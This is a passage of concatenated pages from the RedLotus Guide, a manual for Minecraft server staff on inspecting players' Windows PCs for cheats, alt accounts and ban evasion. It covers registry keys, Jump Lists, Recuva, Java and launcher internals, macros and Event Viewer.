ban by clearly stating which specific server rule regarding ban evasion was violated and how the collected evidence meets the criteria defined in that rule. [PreviousReviewing Ban Policies](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection/reviewing-ban-policies) [NextMinecraft Architecture and Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft) Last updated 1 year ago --- # Identifying Alternate Accounts During ScreenShare | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection/identifying-alternate-accounts-during-screenshare.md) . Linking a player currently being screenshared to a previously banned account requires careful examination of artifacts that store user identities, configurations, or machine identifiers. * **Username and Account Artifacts in Files:** * _Log Files:_ Game client logs (`latest.log`, chat logs), launcher logs (e.g., Lunar Client, Badlion Client), and sometimes mod configuration logs can contain usernames or UUIDs associated with accounts used on the machine. * _Launcher Configuration Files:_ Many launchers store account information. For example, custom launchers might have `accounts.json` or similar files within their data directories (e.g., `.lunarclient/`, `.feather/` often in `%appdata%` or user home directories on Linux/macOS). Analyzing these files can reveal multiple accounts linked to the device. * _General File Searches:_ Players sometimes leave traces of usernames in unexpected places like `.txt` files, script files, or folder names within their user profile. Searching common user directories (`C:\Users\%username%`, Desktop, Downloads, Documents) and AppData folders (`%appdata%`, `%localappdata%`) for known banned usernames or UUIDs can sometimes yield results. * _PowerShell Scripting for Alts:_ Specialized scripts can automate the search for usernames across common locations. For instance, the **ADVANCE ALT CHECK** PowerShell script available at [https://pastebin.com/raw/LBGh2Cyb](https://pastebin.com/raw/LBGh2Cyb) is designed specifically for this. It recursively searches user directories for files with common log/text/config extensions (`.txt`, `.log`, `.json`, `.jar`) and looks for occurrences of a specified username (which could be a known banned alt), outputting a list of files where the name was found. This can significantly speed up the search process compared to manual browsing. * **Registry Analysis:** * _User Profiles:_ Each Windows user profile has its own registry hive (`NTUSER.DAT` located in `C:\Users\{username}\`). Analyzing these hives (especially if multiple user profiles exist or existed on the machine) using tools like Registry Explorer can reveal user-specific settings or software configurations potentially linked to different accounts. * _Software Keys:_ Registry keys associated with specific game launchers, related software (like Discord), or even Windows components might store account identifiers, license keys, or usage history that could correlate different user activities on the same machine. * **File System and Metadata:** * _Directory Structures:_ File paths often contain the Windows username (e.g., `C:\Users\BannedPlayerName\...`). Finding game-related files, cheat configurations, or relevant logs under multiple distinct username folders on the same system is a strong indicator of alt account usage. * _File Ownership:_ While less commonly checked, file ownership metadata (viewable in advanced security settings or via tools parsing the $MFT) technically links files to the SID of the user who created them. Correlating SIDs with known banned user profiles can be informative, though complex. * **Hardware Identification (HWID) Linking:** * _Server-Side Checks:_ Many servers maintain databases linking banned accounts to the HWIDs collected during previous gameplay sessions or screenshares. * _SS Tool Integration:_ Some screensharing tools (like Echo) incorporate functionality to collect HWID information from the player's machine during the scan. This collected HWID can then be compared (often automatically by the tool or manually by staff) against the server's database of banned HWIDs. * _Detection:_ A match between the current machine's HWID and a previously banned HWID is strong evidence of ban evasion, even if the player is using a completely new game account and Windows user profile. ScreenSharers should be familiar with how their specific tools collect HWID data and how their server utilizes this information for ban enforcement. [PreviousUnderstanding Ban Evasion](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection/understanding-ban-evasion) [NextReviewing Ban Policies](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection/reviewing-ban-policies) Last updated 1 year ago --- # Ban Evasion and Alt Account Detection | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection.md) . A persistent challenge in maintaining fair play within online communities is _ban evasion_ – the act of a previously banned player attempting to circumvent their restriction and rejoin the server or community, often under a new identity. Identifying ban evasion is frequently a secondary, but crucial, objective during screenshares, especially if the player under investigation exhibits suspicious behavior patterns similar to previously banned individuals or if the initial reason for the check was weak. **Note**: _This section is more specifically designed for_ _**Minecraft**_ _ScreenShares, but much of the knowledge here and especially the methodology can still be applied to other games._ [PreviousCloud Storage (OneDrive, Google Drive, etc.):](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/environment-and-hardware-bypasses/cloud-storage) [NextUnderstanding Ban Evasion](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection/understanding-ban-evasion) Last updated 1 year ago --- # Understanding Ban Evasion | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection/understanding-ban-evasion.md) . Ban evasion encompasses various tactics employed by players to bypass server bans. Understanding these methods helps ScreenSharers know what indicators to look for: * **Using Alternate Accounts ("Alts"):** The most common method. The player simply uses a different game account (purchased or borrowed) to log into the server after their primary account has been banned. Detection relies on linking the player's current session or machine to their previously banned identity. * **Changing Hardware Identifiers (HWID Spoofing):** Some servers implement HWID bans, linking the ban not just to the game account but also to unique identifiers derived from the player's hardware components (CPU, motherboard, network adapter MAC address, disk serial numbers, etc.). Ban evaders may attempt to bypass this by: * Using a completely different computer. * Employing specialized software ("HWID spoofers") that attempt to modify or intercept the hardware information reported by the system or game client. Detecting spoofers often involves looking for specific processes, drivers, or system modifications associated with these tools. * **Using Virtual Machines (VMs):** As discussed previously, running the game inside a VM can obscure the host machine's true hardware details from HWID detection systems operating within the guest OS. * **IP Address Changes:** Utilizing Virtual Private Networks (VPNs), proxies, or simply obtaining a new IP address (if on a dynamic IP) can help evade IP-based bans or monitoring. Detecting VPN/proxy usage often involves checking running processes, network routing tables (`route print`), or analyzing network connections for non-residential IP addresses. [PreviousBan Evasion and Alt Account Detection](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection) [NextIdentifying Alternate Accounts During ScreenShare](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection/identifying-alternate-accounts-during-screenshare) Last updated 1 year ago --- # Forensically Relevant Registry Keys/Locations | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer/forensically-relevant-registry-keyslocations.md) . While deep Registry analysis requires specialized knowledge, several keys are commonly checked during screenshares (many collected automatically by tools like RL Collector's RECmd module): * **Prefetch Parameters:** `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters` (Check `EnablePrefetcher` value). * **Program Compatibility Assistant (PCA):** `HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store` (Logs program paths PCA interacted with). * **Background Activity Moderator (BAM):** `HKLM\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings\{User_SID}` (Logs executed application paths and last execution timestamps. Look for deleted entries!). * **UserAssist:** `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count` (Tracks GUI program launches, run counts, last execution times. Data is ROT-13 encoded). * **Open/Save Dialog MRU:** `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePidlMRU\` (MRU lists for files opened/saved via common dialogs, grouped by extension). Can reveal recently accessed cheat files, DLLs, or configs. * **RecentDocs:** `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` (Tracks recently accessed documents/files, often mirrors `shell:recent`. Check for clearing). * **Run / RunOnce Keys:** `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`, `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` (and RunOnce variants). Common persistence locations for malware/PUPs. * **USB Storage History:** `HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR` (Logs details of connected USB storage devices). * **Network History:** Various keys under `HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters` and user-specific network profiles can reveal connection history. * **Command Processor Autorun:** `HKLM\SOFTWARE\Microsoft\Command Processor\Autorun` (Check if commands are automatically run when `cmd.exe` starts – potential bypass). [PreviousAccessing the Registry](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer/accessing-the-registry) [NextKey Considerations for ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer/key-considerations-for-screensharing) Last updated 1 year ago --- # Minecraft and Java | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java.md) . A fundamental understanding of Minecraft's technical underpinnings is **absolutely crucial** for any ScreenSharer aiming to effectively detect cheats within this environment. Its Java-based nature dictates how the game runs, how cheats operate, and where evidence might be found. [PreviousMinecraft Architecture and Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft) [NextMinecraft Architecture (Java, JVM)](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java/minecraft-architecture) Last updated 1 year ago --- # coming soon | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/automatic-screenshare-tools/coming-soon.md) . [PreviousMain RedLotus Scripts](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/specific-powershell-scripts/key-categories-and-examples) --- # Tools | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/echos-tools/tools-mentioned.md) . * **Echo BAM (**`**bam.exe**`**):** A graphical tool to view, filter, and reorder entries from the Background Activity Moderator (BAM) registry keys. It simplifies accessing BAM data, which logs program executions (primarily `.exe` files). * **Echo Journal Tool (**`**journal-tool.exe**`**):** A parser for the NTFS USN Journal ($J). It allows filtering for specific events like file deletions, creations, and renames. It's presented as a user-friendly alternative to using `fsutil` commands and is noted for parsing all NTFS drives simultaneously. * **Echo UserAssist View (**`**userassist.exe**`**):** A viewer for Windows UserAssist registry data. UserAssist tracks the execution of GUI applications. This tool reportedly shows if the target file still exists and allows quick navigation to it. * **Echo String Tool (**`**strings-tool.exe**`**):** Allows searching for multiple specific strings within a selected process's memory simultaneously. It's useful for quickly testing custom string detections or looking for known cheat indicators without needing to repeatedly use tools like System Informer's string search. * **Echo USBDEVIEW:** A tool similar to Nirsoft's USBDeview, designed to show the history of USB devices connected to the PC. It displays information like the last plug-in and unplug times and the type of USB device, aiming for a less cluttered interface than the original Nirsoft tool. [PreviousEcho's Tools](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/echos-tools) [NextSpecific PowerShell Scripts](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/specific-powershell-scripts) Last updated 1 year ago --- # Advanced JumpLists/RecentDocs Analysis | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/advanced-jumplistsrecentdocs-analysis.md) . Beyond the basic `shell:recent` folder, Windows maintains more persistent records of user interactions with files and applications through its **Jump Lists** feature. Designed to provide quick access to recently used items specific to applications (e.g., recent documents in Word, recent servers in Remote Desktop), Jump Lists store their data in dedicated files within the user's profile, typically located at `%APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\` (containing `.automaticDestinations-ms` files generated automatically based on usage) and `%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\` (containing `.customDestinations-ms` files, often populated by user pinning or application developers). Forensically, these Jump List files are significant because they often **persist** even if the user clears the standard `shell:recent` folder or associated `RecentDocs` registry keys (`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs`). Analyzing these `.automaticDestinations-ms` and `.customDestinations-ms` files can reveal a more robust history of file and folder access, potentially including interactions with renamed or extensionless files, and provide timestamps embedded within their structure. Specialized tools like **JumpList Explorer (Eric Zimmerman)** are designed to parse these complex file formats. Additionally, **LECmd (Eric Zimmerman)** can parse the individual `.lnk` shortcut files found not only in `shell:recent` but also embedded within Jump List data, extracting detailed metadata about the linked targets. [PreviousMore Artifact Analysis for ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing) [NextAmcache/Syscache/RecentFileCache Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/amcachesyscacherecentfilecache-analysis) Last updated 1 year ago --- # Specific Analysis for Minecraft | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/specific-analysis-for-minecraft.md) . With the foundational knowledge established, we can proceed with targeted analysis methods specific to the Minecraft environment. [PreviousCategorizing Minecraft Cheats (Context for Analysis)](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java/categorizing-minecraft-cheats-context-for-analysis) [NextForge Mod Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/specific-analysis-for-minecraft/forge-mod-analysis) Last updated 1 year ago --- # User Activity and Knowledge | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge.md) . While previous chapters focused on the evidence left by programs and the file system, this chapter shifts the focus to the user themselves. The artifacts discussed here provide a window into the direct actions, intentions, and knowledge of the person operating the system. They help answer crucial questions beyond simple execution: **What did the user do? Where did they look? What did they download? What commands did they type?** Understanding these artifacts is essential for building a complete narrative of an incident. It allows an analyst to move from identifying a suspicious file to demonstrating the user's intent and active involvement in deploying it. We will explore the digital breadcrumbs left behind by everyday interactions with the operating system, from navigating folders to browsing the web and using the command line. This chapter will cover: * **Shellbags:** Registry keys that meticulously track a user's folder navigation history, proving they had "knowledge of" and accessed specific directories, even if those directories are now empty or deleted. * **PowerShell Command History:** A plain-text log of every command typed interactively into the PowerShell console, offering an unfiltered look at manual system administration and potential anti-forensic activities. * **Temporary Files:** The contents of the `%temp%` folder, which can reveal recently extracted archives or specific library files, like `JnativeHook`, that are hallmarks of certain applications. By analyzing these artifacts, an investigation can uncover the context surrounding a malicious file, trace its origin back to a download, and reveal the explicit commands used to execute or conceal it. They are the key to transforming a collection of technical data points into a coherent story of user action. [PreviousAlternate Data Streams (ADS)](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/alternate-data-streams-ads) [NextShellbags](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/shellbags) Last updated 9 months ago --- # Launchers (Official, Custom: Lunar, Badlion, etc.) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java/launchers.md) . Minecraft cannot be launched directly; it requires a _launcher_ application to initialize the game environment and start the JVM with the correct parameters. * **Function:** Launchers are responsible for managing different game versions, user profiles/accounts, memory allocation settings, and constructing the complex command-line arguments needed to start the specific Minecraft version selected by the user. They essentially execute the necessary `java.exe`/`javaw.exe` command (often a variation of `java -jar [numerous JVM arguments]`) to initiate the game within the JVM. * **Variety:** Players utilize a range of launchers: * _Official Minecraft Launcher:_ The standard launcher provided by Mojang/Microsoft. * _Third-Party Launchers:_ Numerous custom launchers exist, often popular within specific communities (PvP, modded, etc.). Examples include **Lunar Client, Badlion Client, Feather Client, MultiMC, CurseForge Launcher, ATLauncher**, and many others. These often bundle performance optimizations (like Sodium/Optifine), integrated mods, cosmetics, or unique features. * **Implications for Screensharing:** * _Logs & Settings:_ Each launcher maintains its own set of log files and configuration settings, stored in different locations (often within AppData or the launcher's installation directory). These logs can sometimes contain valuable contextual information (e.g., errors indicating mod conflicts, specific JVM arguments used, account login history). * _Non-Standard Locations:_ Crucially, custom launchers frequently allow users to store Minecraft game instances (including the `.minecraft` folder) in **locations** _**other**_ **than the default AppData path**. Relying solely on the standard path can lead to completely missing the relevant game files and evidence. [PreviousMinecraft Architecture (Java, JVM)](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java/minecraft-architecture) [Next.minecraft Folder (Location, Structure)](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java/minecraft-folder) Last updated 1 year ago --- # Macro Analysis | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/2-macro-analysis.md) . [Definition and Purpose in Cheating](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/2-macro-analysis/definition-and-purpose-in-cheating) [Detecting Software-Based Macros](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/2-macro-analysis/detecting-software-based-macros) [Detecting On-Board Macros](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/2-macro-analysis/detecting-on-board-macros) [PreviousUnderstanding Mouse Input Manipulation](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/1-understanding-mouse-input-manipulation) [NextDefinition and Purpose in Cheating](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/2-macro-analysis/definition-and-purpose-in-cheating) Last updated 1 year ago --- # Limitations | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/recuva/limitations.md) . * **Overwriting:** The biggest limitation. If the physical disk sectors where the deleted file's data resided have been overwritten by new data (which happens constantly on an active system), recovery is generally impossible. The longer the time since deletion and the more active the drive, the lower the chance of recovery. * **Secure Deletion Tools:** Files deleted using "secure delete" or "shredder" utilities (which intentionally overwrite the file's data multiple times) cannot be recovered by tools like Recuva. * **Solid State Drives (SSDs):** Recovery from SSDs is often less reliable than from traditional HDDs due to the **TRIM command**. TRIM allows the OS to inform the SSD which data blocks are no longer in use (e.g., after deletion), allowing the SSD's controller to proactively erase them internally during idle time to maintain performance. This internal garbage collection can quickly make deleted data unrecoverable. Success rates on SSDs vary greatly depending on the SSD model, firmware, OS version, and time since deletion. Recuva can sometimes provide the "smoking gun" of a deleted cheat, but its success is **highly variable and never guaranteed.** It's a tool to try, especially if deletions are suspected, but don't rely on it as a primary detection method. * * * [PreviousUsage in ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/recuva/usage-in-screensharing) [NextMore Artifact Analysis for ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing) Last updated 1 year ago --- # Key Considerations for ScreenSharing | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer/key-considerations-for-screensharing.md) . * **User vs. System Actions:** Not every Registry change is malicious or user-initiated. Correlate Registry key LastWriteTimes with other artifacts (Prefetch, Journal, Event Logs) to establish context. Look for manual access via `regedit.exe`/`reg.exe`. * **Permissions:** HKLM modifications typically require administrator privileges. HKCU changes are user-specific. * **Timestamps:** Focus on the "Last Write Time" of keys, indicating the last modification within that key. * **Deleted Values/Keys:** Finding deleted entries, especially in BAM, UserAssist, or OpenSavePidlMRU, via tools like Registry Explorer is a **very strong indicator** of deliberate evidence clearing/tampering. [PreviousForensically Relevant Registry Keys/Locations](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer/forensically-relevant-registry-keyslocations) [NextEvent Viewer (Basic Usage for Common IDs)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer) Last updated 1 year ago --- # Understanding Recuva | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/recuva/understanding-recuva.md) . Recuva is a popular, free (with a paid option) third-party utility designed to recover files that have been deleted from storage devices (HDDs, SSDs, USB drives, memory cards). It functions by scanning the drive for data clusters that the file system has marked as "unallocated" (free space) but whose original data content has not yet been physically overwritten by new data. [PreviousRecuva (Deleted File Recovery)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/recuva) [NextUsage in ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/recuva/usage-in-screensharing) Last updated 1 year ago --- # More Artifact Analysis for ScreenSharing | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing.md) . While the artifacts covered in previous sections form the bedrock of most screenshares, delving deeper into more specialized Windows artifacts can uncover richer historical data, reveal evidence resistant to simple clearing techniques, and provide crucial context that might otherwise be missed. [PreviousLimitations](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/recuva/limitations) [NextAdvanced JumpLists/RecentDocs Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/advanced-jumplistsrecentdocs-analysis) Last updated 1 year ago --- # Server Rules Context | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/server-rules-context.md) . Since manipulating debounce time provides a direct, **hardware-related advantage** in achieving abnormally high click speeds, many competitive Minecraft servers (especially in the PvP community) consider setting the debounce time below a certain threshold (very commonly **10ms**, sometimes 8ms or 12ms depending on the server) to be a **bannable offense**. It's often equated to using an unfair hardware advantage or a form of hardware-assisted cheating, similar in principle to using a macro for rapid clicks. [PreviousDefinition and Mouse Abuse](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/definition-and-mouse-abuse) [NextGeneral Detection Strategy](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/general-detection-strategy) Last updated 1 year ago --- # Definition and Purpose in Cheating | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/2-macro-analysis/definition-and-purpose-in-cheating.md) . _Macros_, within the specific context of Minecraft screensharing and cheat detection, refer to **automated sequences of instructions** (typically mouse clicks, but sometimes keyboard presses) assigned to a single mouse button or key press. Their primary illicit purpose is to **artificially inflate click speed**, simulating rapid clicks at rates far exceeding human capability through standard clicking methods, effectively acting as a form of autoclicker. While macros have legitimate uses in productivity or other gaming contexts, their use for rapid clicking in games like Minecraft is often investigated as potentially violating rules against automation or unfair advantages. As mentioned, these automated sequences can be stored in two ways: 1. **Software-Based:** Defined and saved within configuration files or databases on the computer, managed by the mouse's proprietary software. 2. **On-Board:** Stored directly in the mouse's internal memory chip, allowing the macro to function independently of the PC software once programmed. [PreviousMacro Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/2-macro-analysis) [NextDetecting Software-Based Macros](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/2-macro-analysis/detecting-software-based-macros) Last updated 1 year ago --- # Specific PowerShell Scripts | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/specific-powershell-scripts.md) . PowerShell scripts are extensively used in the provided text for automating various tasks related to ScreenSharing and digital forensics analysis. They act as custom tools to gather, parse, and analyze data from the system quickly. [PreviousTools](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/echos-tools/tools-mentioned) [NextMain RedLotus Scripts](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/specific-powershell-scripts/key-categories-and-examples) Last updated 1 year ago --- # Understanding the Windows Registry | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer/understanding-the-windows-registry.md) . The _Windows Registry_ is essentially a hierarchical database integrated into the Windows operating system. It stores low-level settings and configuration options for the OS itself, hardware devices, and many installed applications (both system-level and third-party). Developers utilize this database to store values in the form of Keys and Subkeys, which dictate how software and hardware behave. Think of it as the **central configuration hub**. Changes made here can significantly impact system behavior, performance, and functionality. Both legitimate applications (like services, system optimizers) and potentially malicious software can interact with and modify the registry. [PreviousRegedit / Registry Explorer (Registry Viewers - Basic Usage)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer) [NextAccessing the Registry](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer/accessing-the-registry) Last updated 1 year ago --- # Minecraft Architecture (Java, JVM) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java/minecraft-architecture.md) . Minecraft is primarily developed using the **Java** programming language. This has profound implications for its execution model: * _Java Virtual Machine (JVM):_ Unlike many games compiled into standalone native executables (e.g., `Game.exe`), Minecraft runs _inside_ a **Java Virtual Machine (JVM)**. The JVM is a software environment that interprets and executes Java bytecode. This means the actual game process visible in the Windows Task Manager or System Informer will **not** typically be named `minecraft.exe`. Instead, it will appear as an instance of the Java runtime environment, usually `**java.exe**` (often for command-line/server instances) or, more commonly for the graphical client, `**javaw.exe**` (Java Windowed). * _Process Identification:_ Consequently, when analyzing running processes during a screenshare for Minecraft-related activity (like memory string searches or module analysis), the **target process is** `**javaw.exe**` **(or potentially** `**java.exe**`**)**, not a distinctly named Minecraft process. Identifying the _correct_ `javaw.exe` instance belonging to the game (if multiple Java applications are running) is the first step. [PreviousMinecraft and Java](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java) [NextLaunchers (Official, Custom: Lunar, Badlion, etc.)](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java/launchers) Last updated 1 year ago --- # Accessing Event Viewer | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/accessing-event-viewer.md) . * Press Win + R, type `eventvwr.msc` (or just `eventvwr`), and press Enter. * Alternatively, search for "Event Viewer" in the Windows search bar. [PreviousUnderstanding Event Viewer](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/understanding-event-viewer) [NextLog Storage](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/log-storage) Last updated 1 year ago --- # General Detection Strategy | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available 